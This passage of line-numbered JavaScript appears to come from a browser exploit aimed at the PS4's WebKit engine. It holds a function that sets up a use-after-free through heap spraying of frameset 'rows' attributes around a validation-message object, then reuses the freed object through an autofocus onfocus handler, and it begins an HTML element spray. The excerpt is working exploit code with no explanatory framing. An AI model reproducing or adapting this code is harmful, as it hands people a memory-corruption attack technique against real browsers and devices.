| 446 | } |
| 447 | |
| 448 | function prepareUAF() { |
| 449 | g_input.setCustomValidity("ps4"); |
| 450 | |
| 451 | for (let i = 0; i < NB_FRAMES; i++) { |
| 452 | var element = document.createElement("frameset"); |
| 453 | g_frames.push(element); |
| 454 | } |
| 455 | |
| 456 | g_input.reportValidity(); |
| 457 | var div = document.createElement("div"); |
| 458 | document.body.appendChild(div); |
| 459 | div.appendChild(g_input); |
| 460 | |
| 461 | /* First half spray */ |
| 462 | for (let i = 0; i < NB_FRAMES / 2; i++) |
| 463 | g_frames[i].setAttribute("rows", g_rows1); |
| 464 | |
| 465 | /* Instantiate target obj */ |
| 466 | g_input.reportValidity(); |
| 467 | |
| 468 | /* ... and the second half */ |
| 469 | for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++) |
| 470 | g_frames[i].setAttribute("rows", g_rows2); |
| 471 | |
| 472 | g_input.setAttribute("onfocus", "reuseTargetObj()"); |
| 473 | g_input.autofocus = true; |
| 474 | } |
| 475 | |
| 476 | /* HTMLElement spray */ |
| 477 | function sprayHTMLTextArea() { |